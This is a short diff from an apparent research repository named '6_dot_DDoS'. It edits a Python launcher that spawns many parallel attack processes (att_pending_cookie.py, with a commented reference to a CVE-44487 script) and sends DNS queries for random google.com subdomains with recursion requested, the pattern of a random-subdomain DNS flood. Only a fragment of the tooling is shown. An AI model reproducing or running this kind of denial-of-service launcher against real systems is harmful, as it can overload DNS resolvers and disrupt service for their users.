summaryrefslogtreecommitdiff
path: root/6_dot_DDoS/start_pending.py
diff options
context:
space:
mode:
Diffstat (limited to '6_dot_DDoS/start_pending.py')
-rw-r--r--6_dot_DDoS/start_pending.py6
1 files changed, 3 insertions, 3 deletions
diff --git a/6_dot_DDoS/start_pending.py b/6_dot_DDoS/start_pending.py
index aaa29a8..e17e491 100644
--- a/6_dot_DDoS/start_pending.py
+++ b/6_dot_DDoS/start_pending.py
@@ -5,7 +5,7 @@ import random
import string
import time
-import dns
+import dns.message
from logger_DoE import *
@@ -31,7 +31,7 @@ logger = InfoLogger(interval=1)
logger.log_info(LogLevel.INFO, "程序开始运行")
for i in range(int(args.n)):
#print(f"python3 cve44487.py -s {i}")
- os.popen(f"python att_pending_https.py -stime {stime} -round {round} -wait {wait_time}")
+ os.popen(f"python3 att_pending_cookie.py -stime {stime} -round {round} -wait {wait_time}")
message = dns.message.make_query(''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))+ ".google.com", "A")
message.flags |= dns.flags.RD
@@ -51,4 +51,4 @@ while True:
if elapsed_time>wait_time:
logger.log_info(LogLevel.INFO, "程序结束运行")
logger.close() # 关闭日志记录
- break \ No newline at end of file
+ break